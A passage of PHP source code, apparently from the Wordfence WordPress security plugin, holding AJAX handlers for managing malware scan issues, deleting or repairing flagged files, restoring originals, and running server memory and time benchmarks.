explode(',', $_POST['ids']); $res = array(); foreach ($ids as $id) { $avatar = get_avatar($id, 16); if ($avatar) { $res[$id] = $avatar; } } return array('ok' => 1, 'avatars' => $res); } public static function ajax_reverseLookup_callback(){ $ips = explode(',', $_POST['ips']); $res = array(); foreach($ips as $ip){ $res[$ip] = wfUtils::reverseLookup($ip); } return array('ok' => 1, 'ips' => $res); } public static function ajax_deleteIssue_callback(){ $wfIssues = new wfIssues(); $issueID = $_POST['id']; $wfIssues->deleteIssue($issueID); wfScanEngine::refreshScanNotification($wfIssues); return array('ok' => 1); } public static function ajax_updateAllIssues_callback(){ $op = $_POST['op']; $i = new wfIssues(); if($op == 'deleteIgnored'){ $i->deleteIgnored(); } else if($op == 'deleteNew'){ $i->deleteNew(); } else if($op == 'ignoreAllNew'){ $i->ignoreAllNew(); } else { return array('errorMsg' => __("An invalid operation was called.", 'wordfence')); } wfScanEngine::refreshScanNotification($i); return array('ok' => 1); } public static function ajax_updateIssueStatus_callback(){ $wfIssues = new wfIssues(); $status = $_POST['status']; $issueID = $_POST['id']; if(! preg_match('/^(?:new|delete|ignoreP|ignoreC)$/', $status)){ return array('errorMsg' => __("An invalid status was specified when trying to update that issue.", 'wordfence')); } $wfIssues->updateIssue($issueID, $status); wfScanEngine::refreshScanNotification($wfIssues); $counts = $wfIssues->getIssueCounts(); return array( 'ok' => 1, 'issueCounts' => $counts, ); } public static function ajax_killScan_callback(){ wordfence::status(1, 'info', __("Scan stop request received.", 'wordfence')); wordfence::status(10, 'info', 'SUM_KILLED:' . __("A request was received to stop the previous scan.", 'wordfence')); wfUtils::clearScanLock(); //Clear the lock now because there may not be a scan running to pick up the kill request and clear the lock wfScanEngine::requestKill(); wfConfig::remove('scanStartAttempt'); wfConfig::set('lastScanFailureType', false); return array( 'ok' => 1, ); } public static function ajax_loadIssues_callback(){ $offset = isset($_POST['offset']) ? intval($_POST['offset']) : 0; $limit = isset($_POST['limit']) ? intval($_POST['limit']) : WORDFENCE_SCAN_ISSUES_PER_PAGE; $ignoredOffset = isset($_POST['ignoredOffset']) ? intval($_POST['ignoredOffset']) : 0; $ignoredLimit = isset($_POST['ignoredLimit']) ? intval($_POST['ignoredLimit']) : WORDFENCE_SCAN_ISSUES_PER_PAGE; $issues = wfIssues::shared()->getIssues($offset, $limit, $ignoredOffset, $ignoredLimit); $issueCounts = array_merge(array('new' => 0, 'ignoreP' => 0, 'ignoreC' => 0), wfIssues::shared()->getIssueCounts()); return array( 'issues' => $issues, 'issueCounts' => $issueCounts, ); } public static function ajax_ticker_callback() { $wfdb = new wfDB(); $table_wfStatus = wfDB::networkTable('wfStatus'); $serverTime = $wfdb->querySingle("select unix_timestamp()"); $jsonData = array( 'serverTime' => $serverTime, 'serverMicrotime' => microtime(true), 'msg' => wp_kses_data((string) $wfdb->querySingle("SELECT msg FROM {$table_wfStatus} WHERE level < 3 AND ctime > (UNIX_TIMESTAMP() - 3600) ORDER BY ctime DESC LIMIT 1")), ); $events = array(); if (get_site_option('wordfence_syncAttackDataAttempts') > 10) { self::syncAttackData(false); } $results = self::ajax_loadLiveTraffic_callback(); $events = $results['data']; if (isset($results['sql'])) { $jsonData['sql'] = $results['sql']; } $jsonData['events'] = $events; return $jsonData; } public static function ajax_activityLogUpdate_callback() { global $wpdb; $statusTable = wfDB::networkTable('wfStatus'); $row = $wpdb->get_row("SELECT ctime, msg FROM {$statusTable} WHERE level < 3 AND ctime > (UNIX_TIMESTAMP() - 3600) ORDER BY ctime DESC LIMIT 1", ARRAY_A); $lastMessage = __('Idle', 'wordfence'); $lastScanCompleted = wfConfig::get('lastScanCompleted'); if ($row) { $lastMessage = '[' . strtoupper(wfUtils::formatLocalTime('M d H:i:s', $row['ctime'])) . '] ' . wp_kses_data($row['msg']); } else if ($lastScanCompleted == 'ok') { $scanLastCompletion = (int) wfScanner::shared()->lastScanTime(); if ($scanLastCompletion) { $lastMessage = sprintf(/* translators: Localized date. */ __('Scan completed on %s', 'wordfence'), wfUtils::formatLocalTime(get_option('date_format') . ' ' . get_option('time_format'), $scanLastCompletion)); } } else if ($lastScanCompleted === false || empty($lastScanCompleted)) { //Do nothing } else { $lastMessage = __('Last scan failed', 'wordfence'); } $issues = wfIssues::shared(); $scanFailed = $issues->hasScanFailed(); $scanner = wfScanner::shared(); $stages = $scanner->stageStatus(); foreach ($stages as $key => &$value) { switch ($value) { case wfScanner::STATUS_PENDING: $value = 'wf-scan-step'; break; case wfScanner::STATUS_RUNNING: case wfScanner::STATUS_RUNNING_WARNING: if ($scanFailed) { $value = 'wf-scan-step'; break; } $value = 'wf-scan-step wf-scan-step-running'; break; case wfScanner::STATUS_COMPLETE_SUCCESS: $value = 'wf-scan-step wf-scan-step-complete-success'; break; case wfScanner::STATUS_COMPLETE_WARNING: $value = 'wf-scan-step wf-scan-step-complete-warning'; break; case wfScanner::STATUS_PREMIUM: $value = 'wf-scan-step wf-scan-step-premium'; break; case wfScanner::STATUS_DISABLED: $value = 'wf-scan-step wf-scan-step-disabled'; break; } } $stats = array( 'wf-scan-results-stats-postscommentsfiles' => $scanner->getSummaryItem(wfScanner::SUMMARY_SCANNED_POSTS, 0) + $scanner->getSummaryItem(wfScanner::SUMMARY_SCANNED_COMMENTS, 0) + $scanner->getSummaryItem(wfScanner::SUMMARY_SCANNED_FILES, 0), 'wf-scan-results-stats-themesplugins' => $scanner->getSummaryItem(wfScanner::SUMMARY_SCANNED_PLUGINS, 0) + $scanner->getSummaryItem(wfScanner::SUMMARY_SCANNED_THEMES, 0), 'wf-scan-results-stats-users' => $scanner->getSummaryItem(wfScanner::SUMMARY_SCANNED_USERS, 0), 'wf-scan-results-stats-urls' => $scanner->getSummaryItem(wfScanner::SUMMARY_SCANNED_URLS, 0), 'wf-scan-results-stats-issues' => $issues->getIssueCount(), ); $lastIssueUpdateTimestamp = wfIssues::shared()->getLastIssueUpdateTimestamp(); $issues = 0; $issueCounts = array_merge(array('new' => 0, 'ignoreP' => 0, 'ignoreC' => 0), wfIssues::shared()->getIssueCounts()); if ($lastIssueUpdateTimestamp > $_POST['lastissuetime']) { $issues = wfIssues::shared()->getIssues(0, WORDFENCE_SCAN_ISSUES_PER_PAGE, 0, WORDFENCE_SCAN_ISSUES_PER_PAGE); } $timeLimit = intval(wfConfig::get('scan_maxDuration')); if ($timeLimit < 1) { $timeLimit = WORDFENCE_DEFAULT_MAX_SCAN_TIME; } $scanFailedHTML = ''; switch ($scanFailed) { case wfIssues::SCAN_FAILED_TIMEOUT: $scanFailedSeconds = time() - wfIssues::lastScanStatusUpdate(); $scanFailedTiming = wfUtils::makeTimeAgo($scanFailedSeconds); if ($scanFailedSeconds > $timeLimit) { $scanFailedTiming = sprintf(/* translators: Time until. */ __('more than %s', 'wordfence'), wfUtils::makeTimeAgo($timeLimit)); } $scanFailedHTML = wfView::create('scanner/scan-failed', array( 'messageHTML' => sprintf(/* translators: Localized date. */ __('The current scan looks like it has failed. Its last status update was %s ago. You may continue to wait in case it resumes or stop and restart the scan. Some sites may need adjustments to run scans reliably.', 'wordfence'), $scanFailedTiming) . ' ' . __('Click here for steps you can try.', 'wordfence') . ' (' . esc_html__('opens in new tab', 'wordfence') . ')', 'buttonTitle' => __('Cancel Scan', 'wordfence'), ))->render(); break; case wfIssues::SCAN_FAILED_FORK_FAILED: case wfIssues::SCAN_FAILED_GENERAL: $scanFailedHTML = wfView::create('scanner/scan-failed', array( 'messageHTML' => __('The previous scan has failed. Some sites may need adjustments to run scans reliably.', 'wordfence') . ' ' . __('Click here for steps you can try.', 'wordfence') . ' (' . esc_html__('opens in new tab', 'wordfence') . ')', 'buttonTitle' => __('Close', 'wordfence'), ))->render(); break; case wfIssues::SCAN_FAILED_DURATION_REACHED: $scanFailedHTML = wfView::create('scanner/scan-failed', array( 'messageHTML' => sprintf(/* translators: Time limit (number). */ __('The previous scan has terminated because the time limit of %s was reached. This limit can be customized on the options page.', 'wordfence'), wfUtils::makeDuration($timeLimit)) . ' (' . esc_html__('opens in new tab', 'wordfence') . ')', 'buttonTitle' => __('Close', 'wordfence'), ))->render(); break; case wfIssues::SCAN_FAILED_VERSION_CHANGE: $scanFailedHTML = wfView::create('scanner/scan-failed', array( 'messageHTML' => esc_html__('The previous scan has terminated because we detected an update occurring during the scan.', 'wordfence'), 'buttonTitle' => __('Close', 'wordfence'), ))->render(); break; case wfIssues::SCAN_FAILED_START_TIMEOUT: case wfIssues::SCAN_FAILED_CALLBACK_TEST_FAILED: $resumeAttempts = wfScanMonitor::getConfiguredResumeAttempts(); if ($resumeAttempts > 0) { if ($resumeAttempts === 1) $resumeMessage = __('Wordfence will make one attempt to resume each failed scan stage. This scan may recover if this attempt is successful.', 'wordfence'); else $resumeMessage = sprintf(__('Wordfence will make up to %d attempts to resume each failed scan stage. This scan may recover if one of these attempts is successful.', 'wordfence'), $resumeAttempts); $resumeMessage = " {$resumeMessage} "; } else { $resumeMessage = ''; } $scanFailedHTML = wfView::create('scanner/scan-failed', array( 'messageTitle' => __('Scan Stage Failed', 'wordfence'), 'messageHTML' => __('A scan stage has failed to start. This is often because the site either cannot make outbound requests or is blocked from connecting to itself.', 'wordfence') . $resumeMessage . ' ' . __('Click here for steps you can try.', 'wordfence') . ' (' . esc_html__('opens in new tab', 'wordfence') . ')', 'buttonTitle' => __('Close', 'wordfence'), ))->render(); break; case wfIssues::SCAN_FAILED_API_SSL_UNAVAILABLE: $scanFailedHTML = wfView::create('scanner/scan-failed', array( 'messageHTML' => esc_html__('Scans are not functional because SSL is unavailable.', 'wordfence'), 'buttonTitle' => __('Close', 'wordfence'), ))->render(); break; case wfIssues::SCAN_FAILED_API_CALL_FAILED: $scanFailedHTML = wfView::create('scanner/scan-failed', array( 'messageHTML' => __('The scan has failed because we were unable to contact the Wordfence servers. Some sites may need adjustments to run scans reliably.', 'wordfence') . ' ' . __('Click here for steps you can try.', 'wordfence') . ' (' . esc_html__('opens in new tab', 'wordfence') . ')', 'rawErrorHTML' => esc_html(wfConfig::get('lastScanCompleted', '')), 'buttonTitle' => __('Close', 'wordfence'), ))->render(); break; case wfIssues::SCAN_FAILED_API_INVALID_RESPONSE: case wfIssues::SCAN_FAILED_API_ERROR_RESPONSE: $scanFailedHTML = wfView::create('scanner/scan-failed', array( 'messageHTML' => __('The scan has failed because we received an unexpected response from the Wordfence servers. This may be a temporary error, though some sites may need adjustments to run scans reliably.', 'wordfence') . ' ' . __('Click here for steps you can try.', 'wordfence') . ' (' . esc_html__('opens in new tab', 'wordfence') . ')', 'rawErrorHTML' => esc_html(wfConfig::get('lastScanCompleted'), ''), 'buttonTitle' => __('Close', 'wordfence'), ))->render(); break; } wfUtils::doNotCache(); return array( 'ok' => 1, 'lastMessage' => $lastMessage, 'items' => self::getLog()->getStatusEvents($_POST['lastctime']), 'currentScanID' => wfScanner::shared()->lastScanTime(), 'signatureUpdateTime' => wfConfig::get('signatureUpdateTime'), 'scanFailedHTML' => $scanFailedHTML, 'scanStalled' => ($scanFailed == wfIssues::SCAN_FAILED_TIMEOUT || $scanFailed == wfIssues::SCAN_FAILED_START_TIMEOUT ? 1 : 0), 'scanRunning' => wfScanner::shared()->isRunning() ? 1 : 0, 'scanStages' => $stages, 'scanStats' => $stats, 'issues' => $issues, 'issueCounts' => $issueCounts, 'issueUpdateTimestamp'=> $lastIssueUpdateTimestamp, ); } public static function ajax_updateAlertEmail_callback(){ $email = trim($_POST['email']); if(! preg_match('/[^\@]+\@[^\.]+\.[^\.]+/', $email) || in_array(hash('sha256', $email), wfConfig::alertEmailBlacklist())){ return array( 'err' => __("Invalid email address given.", 'wordfence')); } wfConfig::set('alertEmails', $email); return array('ok' => 1, 'email' => $email); } private static function resolveLocalFile($issue) { $data = $issue['data']; if (array_key_exists('realFile', $data)) { return $data['realFile']; } else { $file = $issue['data']['file']; $localFile = ABSPATH . '/' . $file; $localFile = realpath($localFile); if (strpos($localFile, ABSPATH) !== 0) { return null; } return $localFile; } } public static function ajax_bulkOperation_callback() { $op = sanitize_text_field($_POST['op']); if ($op == 'del' || $op == 'repair') { $idsRemoved = array(); $filesWorkedOn = 0; $errors = array(); $wfIssues = new wfIssues(); $issueCount = $wfIssues->getIssueCount(); for ($offset = floor($issueCount / 100) * 100; $offset >= 0; $offset -= 100) { $issues = $wfIssues->getIssues($offset, 100, 0, 0); foreach ($issues['new'] as $i) { if ($op == 'del' && @$i['data']['canDelete']) { $file = $i['data']['file']; $localFile = self::resolveLocalFile($i); if ($localFile === null) continue; if ($localFile === ABSPATH . 'wp-config.php') { $errors[] = esc_html__('Deleting an infected wp-config.php file must be done outside of Wordfence. The wp-config.php file contains your database credentials, which you will need to restore normal site operations. Your site will NOT function once the wp-config.php file has been deleted.', 'wordfence'); } else if (@unlink($localFile)) { $wfIssues->updateIssue($i['id'], 'delete'); $idsRemoved[] = $i['id']; $filesWorkedOn++; } else { $err = error_get_last(); $errors[] = esc_html(sprintf(/* translators: 1. File path. 2. Error message. */ __('Could not delete file %1$s. Error was: %2$s', 'wordfence'), wp_kses($file, array()), wp_kses(str_replace(ABSPATH, '{WordPress Root}/', $err['message']), array()))); } } else if ($op == 'repair' && @$i['data']['canFix']) { $file = $i['data']['file']; $localFile = self::resolveLocalFile($i); if ($localFile === null) continue; $result = array(); if (isset($i['data']) && is_array($i['data']) && isset($i['data']['file']) && isset($i['data']['cType']) && ( //Basics $i['data']['cType'] == 'core' || //Core file ($i['data']['cType'] == 'plugin' || $i['data']['cType'] == 'theme') && isset($i['data']['cName']) && isset($i['data']['cVersion']) //Plugin or Theme file )) { $result = self::getWPFileContent($i['data']['file'], $i['data']['cType'], isset($i['data']['cName']) ? $i['data']['cName'] : null, isset($i['data']['cVersion']) ? $i['data']['cVersion'] : null); } if (is_array($result) && isset($result['errorMsg'])) { $errors[] = esc_html($result['errorMsg']); continue; } else if (!is_array($result) || !isset($result['fileContent'])) { $errors[] = esc_html(sprintf(/* translators: File path. */ __('We could not retrieve the original file of %s to do a repair.', 'wordfence'), wp_kses($file, array()))); continue; } if (preg_match('/\.\./', $file)) { $errors[] = sprintf(/* translators: File path. */ __('An invalid file %s was specified for repair.', 'wordfence'), wp_kses($file, array())); continue; } $fh = fopen($localFile, 'w'); if (!$fh) { $err = error_get_last(); if (preg_match('/Permission denied/i', $err['message'])) { $errMsg = esc_html(sprintf(/* translators: File path. */ __('You don\'t have permission to repair %s. You need to either fix the file manually using FTP or change the file permissions and ownership so that your web server has write access to repair the file.', 'wordfence'), wp_kses($file, array()))); } else { $errMsg = esc_html(sprintf(/* translators: 1. File path. 2. Error message. */ __('We could not write to %1$s. The error was: %2$s', 'wordfence'), wp_kses($file, array()), $err['message'])); } $errors[] = $errMsg; continue; } flock($fh, LOCK_EX); $bytes = fwrite($fh, $result['fileContent']); flock($fh, LOCK_UN); fclose($fh); if ($bytes < 1) { $errors[] = esc_html(sprintf(/* translators: 1. File path. 2. Number of bytes. */ __('We could not write to %1$s. (%2$d bytes written) You may not have permission to modify files on your WordPress server.', 'wordfence'), wp_kses($file, array()), $bytes)); continue; } $filesWorkedOn++; $wfIssues->updateIssue($i['id'], 'delete'); $idsRemoved[] = $i['id']; } } } if ($filesWorkedOn > 0 && count($errors) > 0) { $headMsg = esc_html($op == 'del' ? __('Deleted some files with errors', 'wordfence') : __('Repaired some files with errors', 'wordfence')); $bodyMsg = sprintf(esc_html($op == 'del' ? /* translators: 1. Number of files. 2. Error message. */ __('Deleted %1$d files but we encountered the following errors with other files: %2$s', 'wordfence') : /* translators: 1. Number of files. 2. Error message. */ __('Repaired %1$d files but we encountered the following errors with other files: %2$s', 'wordfence')), $filesWorkedOn, implode('
', $errors)); } else if ($filesWorkedOn > 0) { $headMsg = sprintf(esc_html($op == 'del' ? /* translators: Number of files. */ __('Deleted %d files successfully', 'wordfence') : /* translators: Number of files. */ __('Repaired %d files successfully', 'wordfence')), $filesWorkedOn); $bodyMsg = sprintf(esc_html($op == 'del' ? /* translators: Number of files. */ __('Deleted %d files successfully. No errors were encountered.', 'wordfence') : /* translators: Number of files. */ __('Repaired %d files successfully. No errors were encountered.', 'wordfence')), $filesWorkedOn); } else if (count($errors) > 0) { $headMsg = esc_html($op == 'del' ? __('Could not delete files', 'wordfence') : __('Could not repair files', 'wordfence')); $bodyMsg = sprintf(esc_html($op == 'del' ? /* translators: Error message. */ __('We could not delete any of the files you selected. We encountered the following errors: %s', 'wordfence') : /* translators: Error message. */ __('We could not repair any of the files you selected. We encountered the following errors: %s', 'wordfence')), implode('
', $errors)); } else { $headMsg = esc_html__('Nothing done', 'wordfence'); $bodyMsg = esc_html($op == 'del' ? __('We didn\'t delete anything and no errors were found.', 'wordfence') : __('We didn\'t repair anything and no errors were found.', 'wordfence')); } wfScanEngine::refreshScanNotification($wfIssues); $counts = $wfIssues->getIssueCounts(); return array('ok' => 1, 'bulkHeading' => $headMsg, 'bulkBody' => $bodyMsg, 'idsRemoved' => $idsRemoved, 'issueCounts' => $counts); } else { return array('errorMsg' => esc_html__('Invalid bulk operation selected', 'wordfence')); } } public static function ajax_deleteFile_callback($issueID = null){ if ($issueID === null) { $issueID = intval($_POST['issueID']); } $wfIssues = new wfIssues(); $issue = $wfIssues->getIssueByID($issueID); if(! $issue){ return array('errorMsg' => __('Could not delete file because we could not find that issue.', 'wordfence')); } if(! $issue['data']['file']){ return array('errorMsg' => __('Could not delete file because that issue does not appear to be a file related issue.', 'wordfence')); } $file = $issue['data']['file']; $localFile = self::resolveLocalFile($issue); if($localFile === null){ return array('errorMsg' => __('An invalid file was requested for deletion.', 'wordfence')); } if ($file === 'wp-config.php') { return array( 'errorMsg' => __('Deleting an infected wp-config.php file must be done outside of Wordfence. The wp-config.php file contains your database credentials, which you will need to restore normal site operations. Your site will NOT function once the wp-config.php file has been deleted.', 'wordfence') ); } /** @var WP_Filesystem_Base $wp_filesystem */ global $wp_filesystem; $adminURL = network_admin_url('admin.php?' . http_build_query(array( 'page' => 'WordfenceScan', 'subpage' => 'scan_credentials', 'action' => 'deleteFile', 'issueID' => $issueID, 'nonce' => wp_create_nonce('wp-ajax'), ))); if (!self::requestFilesystemCredentials($adminURL, null, true, false)) { return array( 'ok' => 1, 'needsCredentials' => 1, 'redirect' => $adminURL, ); } if ($wp_filesystem->delete($localFile)) { $wfIssues->updateIssue($issueID, 'delete'); $counts = $wfIssues->getIssueCounts(); wfScanEngine::refreshScanNotification($wfIssues); return array( 'ok' => 1, 'localFile' => $localFile, 'file' => $file, 'issueCounts' => $counts, ); } $err = error_get_last(); return array( 'errorMsg' => sprintf( /* translators: 1. File path. 2. Error message. */ __('Could not delete file %1$s. The error was: %2$s', 'wordfence'), wp_kses($file, array()), wp_kses(str_replace(ABSPATH, '{WordPress Root}/', $err['message']), array()) ) ); } public static function ajax_deleteDatabaseOption_callback(){ /** @var wpdb $wpdb */ global $wpdb; $issueID = intval($_POST['issueID']); $wfIssues = new wfIssues(); $issue = $wfIssues->getIssueByID($issueID); if (!$issue) { return array('errorMsg' => __("Could not remove the option because we could not find that issue.", 'wordfence')); } if (empty($issue['data']['option_name'])) { return array('errorMsg' => __("Could not remove the option because that issue does not appear to be a database related issue.", 'wordfence')); } $table_options = wfDB::blogTable('options', $issue['data']['site_id']); if ($wpdb->query($wpdb->prepare("DELETE FROM {$table_options} WHERE option_name = %s", $issue['data']['option_name']))) { $wfIssues->updateIssue($issueID, 'delete'); wfScanEngine::refreshScanNotification($wfIssues); return array( 'ok' => 1, 'option_name' => $issue['data']['option_name'], ); } else { return array('errorMsg' => sprintf( /* translators: 1. WordPress option. 2. Error message. */ __('Could not remove the option %1$s. The error was: %2$s', 'wordfence'), esc_html($issue['data']['option_name']), esc_html($wpdb->last_error) )); } } public static function ajax_fixFPD_callback(){ $issues = new wfIssues(); $issue = $issues->getIssueByID($_POST['issueID']); if (!$issue) { return array('cerrorMsg' => __("We could not find that issue in our database.", 'wordfence')); } $htaccess = ABSPATH . '/.htaccess'; $change = "\n\tphp_value display_errors 0\n\n\n\tphp_value display_errors 0\n\n\n\tphp_value display_errors 0\n"; $content = ""; if (file_exists($htaccess)) { $content = file_get_contents($htaccess); } if (@file_put_contents($htaccess, trim($content . "\n" . $change), LOCK_EX) === false) { return array('cerrorMsg' => __("You don't have permission to repair .htaccess. You need to either fix the file manually using FTP or change the file permissions and ownership so that your web server has write access to repair the file.", 'wordfence')); } if (wfScanEngine::testForFullPathDisclosure()) { // Didn't fix it, so revert the changes and return an error file_put_contents($htaccess, $content, LOCK_EX); return array( 'cerrorMsg' => __("Modifying the .htaccess file did not resolve the issue, so the original .htaccess file was restored. You can fix this manually by setting display_errors to Off in your php.ini if your site is on a VPS or dedicated server that you control.", 'wordfence'), ); } $issues->updateIssue($_POST['issueID'], 'delete'); wfScanEngine::refreshScanNotification($issues); return array('ok' => 1); } public static function ajax_restoreFile_callback($issueID = null){ if ($issueID === null) { $issueID = intval($_POST['issueID']); } $wfIssues = new wfIssues(); $issue = $wfIssues->getIssueByID($issueID); if(! $issue){ return array('cerrorMsg' => __("We could not find that issue in our database.", 'wordfence')); } /** @var WP_Filesystem_Base $wp_filesystem */ global $wp_filesystem; $adminURL = network_admin_url('admin.php?' . http_build_query(array( 'page' => 'WordfenceScan', 'subpage' => 'scan_credentials', 'action' => 'restoreFile', 'issueID' => $issueID, 'nonce' => wp_create_nonce('wp-ajax'), ))); if (!self::requestFilesystemCredentials($adminURL, null, true, false)) { return array( 'ok' => 1, 'needsCredentials' => true, 'redirect' => $adminURL, ); } $dat = $issue['data']; $result = self::getWPFileContent($dat['file'], $dat['cType'], (isset($dat['cName']) ? $dat['cName'] : ''), (isset($dat['cVersion']) ? $dat['cVersion'] : '')); $file = $dat['file']; if(isset($result['errorMsg']) && $result['errorMsg']){ return $result; } else if(! $result['fileContent']){ return array('errorMsg' => __("We could not get the original file to do a repair.", 'wordfence')); } if(preg_match('/\.\./', $file)){ return array('errorMsg' => __("An invalid file was specified for repair.", 'wordfence')); } if (array_key_exists('realFile', $dat)) { $localFile = $dat['realFile']; } else { $localFile = rtrim(ABSPATH, '/') . '/' . preg_replace('/^[\.\/]+/', '', $file); } if ($wp_filesystem->put_contents($localFile, $result['fileContent'])) { $wfIssues->updateIssue($issueID, 'delete'); $counts = $wfIssues->getIssueCounts(); wfScanEngine::refreshScanNotification($wfIssues); return array( 'ok' => 1, 'localFile' => $localFile, 'file' => $file, 'issueCounts' => $counts, ); } return array( 'errorMsg' => __("We could not write to that file. You may not have permission to modify files on your WordPress server.", 'wordfence'), ); } public static function ajax_scan_callback(){ self::status(4, 'info', __("Ajax request received to start scan.", 'wordfence')); $err = wfScanEngine::startScan(); if ($err) { return array('errorMsg' => wp_kses($err, array())); } else { $issueCounts = array_merge(array('new' => 0, 'ignoreP' => 0, 'ignoreC' => 0), wfIssues::shared()->getIssueCounts()); return array("ok" => 1, 'issueCounts' => $issueCounts); } } public static function ajax_exportSettings_callback() { $result = wfImportExportController::shared()->export(); return $result; } public static function ajax_importSettings_callback(){ $token = $_POST['token']; return self::importSettings($token); } public static function importSettings($token) { //Documented call for external interfacing. return wfImportExportController::shared()->import($token); } public static function ajax_dismissNotification_callback() { $id = $_POST['id']; $n = wfNotification::getNotificationForID($id); if ($n !== null) { $n->markAsRead(); } return array( 'ok' => 1, ); } public static function ajax_utilityScanForBlacklisted_callback() { if (wfScanner::shared()->isRunning()) { return array('wait' => 2); //Can't run while a scan is running since the URL hoover is currently implemented like a singleton } $pageURL = stripslashes($_POST['url']); $source = stripslashes($_POST['source']); $apiKey = wfConfig::get('apiKey'); $wp_version = wfUtils::getWPVersion(); $h = new wordfenceURLHoover($apiKey, $wp_version); $h->hoover(1, $source); $hooverResults = $h->getBaddies(); if ($h->errorMsg) { $h->cleanup(); return array('wait' => 3, 'errorMsg' => $h->errorMsg); //Unable to contact noc1 to verify } $h->cleanup(); if (sizeof($hooverResults) > 0 && isset($hooverResults[1])) { $hresults = $hooverResults[1]; $count = count($hresults); if ($count > 0) { new wfNotification( null, wfNotification::PRIORITY_HIGH_WARNING, sprintf(/* translators: Number of URLs. */ _n("Page contains %d malware URL: ", "Page contains %d malware URLs: ", $count, 'wordfence') . esc_html($pageURL)), 'wfplugin_malwareurl_' . md5($pageURL), null, array(array('link' => wfUtils::wpAdminURL('admin.php?page=WordfenceScan'), 'label' => __('Run a Scan', 'wordfence')))); return array('bad' => $count); } } return array('ok' => 1); } public static function ajax_dashboardShowMore_callback() { $grouping = $_POST['grouping']; $period = $_POST['period']; $dashboard = new wfDashboard(); if ($grouping == 'ips') { $data = null; if ($period == '24h') { $data = $dashboard->ips24h; } else if ($period == '7d') { $data = $dashboard->ips7d; } else if ($period == '30d') { $data = $dashboard->ips30d; } if ($data !== null) { foreach ($data as &$d) { $d['IP'] = esc_html(wfUtils::inet_ntop($d['IP'])); $d['blockCount'] = esc_html(number_format_i18n($d['blockCount'])); $d['countryFlag'] = esc_attr('wf-flag-' . strtolower($d['countryCode'])); $d['countryName'] = esc_html($d['countryName']); } return array('ok' => 1, 'data' => $data); } } else if ($grouping == 'logins') { $data = null; if ($period == 'success') { $data = $dashboard->loginsSuccess; } else if ($period == 'fail') { $data = $dashboard->loginsFail; } if ($data !== null) { $data = array_slice($data, 0, 100); foreach ($data as &$d) { $d['ip'] = esc_html($d['ip']); $d['name'] = esc_html($d['name']); if (time() - $d['t'] < 86400) { $d['t'] = esc_html(wfUtils::makeTimeAgo(time() - $d['t']) . ' ago'); } else { $d['t'] = esc_html(wfUtils::formatLocalTime(get_option('date_format') . ' ' . get_option('time_format'), (int) $d['t'])); } } return array('ok' => 1, 'data' => $data); } } return array('error' => __('Unknown dashboard data set.', 'wordfence')); } public static function startScan(){ wfScanEngine::startScan(); } public static function templateRedir(){ if (!empty($_GET['wordfence_lh'])) { self::ajax_lh_callback(); exit; } if (!empty($_GET['wfcentral_admin_redirect'])) { wp_safe_redirect(remove_query_arg('wfcentral_admin_redirect', network_admin_url('admin.php?page=Wordfence' . rawurlencode(ucwords(preg_replace('/\W/', '', $_GET['wfcentral_admin_redirect']))) . '&' . $_SERVER['QUERY_STRING']))); exit; } $wfFunc = !empty($_GET['_wfsf']) && is_string($_GET['_wfsf']) ? $_GET['_wfsf'] : ''; //Logging self::doEarlyAccessLogging(); //End logging if(! ($wfFunc == 'diff' || $wfFunc == 'view' || $wfFunc == 'viewOption' || $wfFunc == 'sysinfo' || $wfFunc == 'IPTraf' || $wfFunc == 'viewActivityLog' || $wfFunc == 'testmem' || $wfFunc == 'testtime' || $wfFunc == 'download' || $wfFunc == 'blockedIPs' || ($wfFunc == 'debugWAF' && WFWAF_DEBUG))){ return; } if(! wfUtils::isAdmin()){ return; } $nonce = $_GET['nonce']; if(! wp_verify_nonce($nonce, 'wp-ajax')){ _e("Bad security token. It may have been more than 12 hours since you reloaded the page you came from. Try reloading the page you came from. If that doesn't work, please sign out and sign-in again.", 'wordfence'); exit(0); } if($wfFunc == 'diff'){ self::wfFunc_diff(); } else if($wfFunc == 'view'){ self::wfFunc_view(); } else if($wfFunc == 'viewOption'){ self::wfFunc_viewOption(); } else if($wfFunc == 'sysinfo') { require(dirname(__FILE__) . '/sysinfo.php' ); } else if($wfFunc == 'IPTraf'){ self::wfFunc_IPTraf(); } else if($wfFunc == 'viewActivityLog'){ self::wfFunc_viewActivityLog(); } else if($wfFunc == 'testmem'){ self::wfFunc_testmem(); } else if($wfFunc == 'testtime'){ self::wfFunc_testtime(); } else if($wfFunc == 'download'){ self::wfFunc_download(); } else if($wfFunc == 'blockedIPs'){ self::wfFunc_blockedIPs(); } else if($wfFunc == 'debugWAF' && WFWAF_DEBUG){ self::wfFunc_debugWAF(); } exit(0); } public static function memtest_error_handler($errno, $errstr, $errfile, $errline){ echo "Error received: $errstr\n"; } private static function wfFunc_testtime(){ header('Content-Type: text/plain'); @error_reporting(E_ALL); wfUtils::iniSet('display_errors','On'); set_error_handler('wordfence::memtest_error_handler', E_ALL); echo "Wordfence process duration benchmarking utility version " . WORDFENCE_VERSION . ".\n"; echo "This utility tests how long your WordPress host allows a process to run.\n\n--Starting test--\n"; echo "Starting timed test. This will take at least three minutes. Seconds elapsed are printed below.\nAn error after this line is not unusual. Read it and the elapsed seconds to determine max process running time on your host.\n"; for($i = 1; $i <= 180; $i++){ echo "\n$i:"; for($j = 0; $j < 1000; $j++){ echo '.'; } flush(); sleep(1); } echo "\n--Test complete.--\n\nCongratulations, your web host allows your PHP processes to run at least 3 minutes.\n"; exit(); } private static function wfFunc_testmem(){ header('Content-Type: text/plain'); @error_reporting(E_ALL); wfUtils::iniSet('display_errors','On'); set_error_handler('wordfence::memtest_error_handler', E_ALL); $maxMemory = ini_get('memory_limit'); $last = strtolower(substr($maxMemory, -1)); $maxMemory = (int) $maxMemory; $configuredMax = wfConfig::get('maxMem', 0); if ($configuredMax <= 0) { if ($last == 'g') { $configuredMax = $maxMemory * 1024; } else if ($last == 'm') { $configuredMax = $maxMemory; } else if ($last == 'k') { $configuredMax = $maxMemory / 1024; } $configuredMax = floor($configuredMax); } $stepSize = 5242880; //5 MB echo "Wordfence Memory benchmarking utility version " . WORDFENCE_VERSION . ".\n"; echo "This utility tests if your WordPress host respects the maximum memory configured\nin their php.ini file, or if they are using other methods to limit your access to memory.\n\n--Starting test--\n"; echo "Current maximum memory configured in php.ini: " . ini_get('memory_limit') . "\n"; echo "Current memory usage: " . sprintf('%.2f', memory_get_usage(true) / (1024 * 1024)) . "M\n"; echo "Attempting to set max memory to {$configuredMax}M.\n"; wfUtils::iniSet('memory_limit', ($configuredMax + 5) . 'M'); //Allow a little extra for testing overhead echo "Starting memory benchmark. Seeing an error after this line is not unusual. Read the error carefully\nto determine how much memory your host allows. We 